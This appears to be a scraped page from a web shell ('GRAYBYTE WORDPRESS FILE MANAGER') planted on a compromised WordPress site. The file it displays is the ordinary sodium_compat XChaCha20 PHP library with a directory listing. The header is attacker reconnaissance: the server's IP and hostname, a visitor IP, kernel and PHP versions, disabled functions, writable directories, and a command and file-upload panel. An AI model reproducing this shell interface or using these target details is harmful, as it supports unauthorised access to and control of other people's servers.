GRAYBYTE WORDPRESS FILE MANAGER8850

Server IP : 149.255.58.128 / Your IP : 216.73.216.211
System : Linux cloud516.thundercloud.uk 5.14.0-427.26.1.el9_4.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 17 15:51:13 EDT 2024 x86_64
PHP Version : 8.2.28
Disable Function : allow_url_include, apache_child_terminate, apache_setenv, exec, passthru, pcntl_exec, posix_kill, posix_mkfifo, posix_getpwuid, posix_setpgid, posix_setsid, posix_setuid, posix_setgid, posix_seteuid, posix_setegid, posix_uname, proc_close, proc_get_status, proc_open, proc_terminate, shell_exec, show_source, system
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /home/wheelch2/public_html/wp-includes/sodium_compat/src/Core32/
Upload Files :
Current_dir [ Writeable ] Document_root [ Writeable ]

Command :


Current File : /home/wheelch2/public_html/wp-includes/sodium_compat/src/Core32//XChaCha20.php
<?php

if (class_exists('ParagonIE_Sodium_Core32_XChaCha20', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core32_XChaCha20
 */
class ParagonIE_Sodium_Core32_XChaCha20 extends ParagonIE_Sodium_Core32_HChaCha20
{
    /**
     * @internal You should not use this directly from another application
     *
     * @param int $len
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function stream($len = 64, $nonce = '', $key = '')
    {
        if (self::strlen($nonce) !== 24) {
            throw new SodiumException('Nonce must be 24 bytes long');
        }
        return self::encryptBytes(
            new ParagonIE_Sodium_Core32_ChaCha20_Ctx(
                self::hChaCha20(
                    self::substr($nonce, 0, 16),
                    $key
                ),
                self::substr($nonce, 16, 8)
            ),
            str_repeat("\x00", $len)
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $message
     * @param string $nonce
     * @param string $key
     * @param string $ic
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function streamXorIc($message, $nonce = '', $key = '', $ic = '')
    {
        if (self::strlen($nonce) !== 24) {
            throw new SodiumException('Nonce must be 24 bytes long');
        }
        return self::encryptBytes(
            new ParagonIE_Sodium_Core32_ChaCha20_Ctx(
                self::hChaCha20(self::substr($nonce, 0, 16), $key),
                self::substr($nonce, 16, 8),
                $ic
            ),
            $message
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $message
     * @param string $nonce
     * @param string $key
     * @param string $ic
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function ietfStreamXorIc($message, $nonce = '', $key = '', $ic = '')
    {
        return self::encryptBytes(
            new ParagonIE_Sodium_Core32_ChaCha20_IetfCtx(
                self::hChaCha20(self::substr($nonce, 0, 16), $key),
                "\x00\x00\x00\x00" . self::substr($nonce, 16, 8),
                $ic
            ),
            $message
        );
    }
}

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
March 06 2020 21:43:31
1032 / wheelch2
0755
ChaCha20
--
June 27 2023 17:05:14
1032 / wheelch2
0755
Curve25519
--
June 27 2023 17:05:33
1032 / wheelch2
0755
Poly1305
--
June 27 2023 17:06:37
1032 / wheelch2
0755
SecretStream
--
March 06 2020 21:43:31
1032 / wheelch2
0755
BLAKE2b.php
21.801 KB
May 25 2021 18:25:58
1032 / wheelch2
0644
ChaCha20.php
14.171 KB
March 21 2019 10:26:52
1032 / wheelch2
0644
Curve25519.php
129.857 KB
March 24 2022 20:50:08
1032 / wheelch2
0644
Ed25519.php
15.366 KB
September 14 2022 04:43:14
1032 / wheelch2
0644
HChaCha20.php
5.173 KB
March 21 2019 10:26:52
1032 / wheelch2
0644
HSalsa20.php
6.778 KB
March 21 2019 10:26:52
1032 / wheelch2
0644
Int32.php
24.004 KB
March 24 2022 20:50:08
1032 / wheelch2
0644
Int64.php
30.441 KB
March 24 2022 20:50:08
1032 / wheelch2
0644
Poly1305.php
1.549 KB
March 21 2019 10:26:52
1032 / wheelch2
0644
Salsa20.php
11.236 KB
March 21 2019 10:26:52
1032 / wheelch2
0644
SipHash.php
6.458 KB
March 21 2019 10:26:52
1032 / wheelch2
0644
Util.php
0.204 KB
March 21 2019 10:26:52
1032 / wheelch2
0644
X25519.php
10.783 KB
December 09 2019 22:12:04
1032 / wheelch2
0644
XChaCha20.php
2.396 KB
March 24 2022 20:50:08
1032 / wheelch2
0644
XSalsa20.php
1.347 KB
March 21 2019 10:26:52
1032 / wheelch2
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF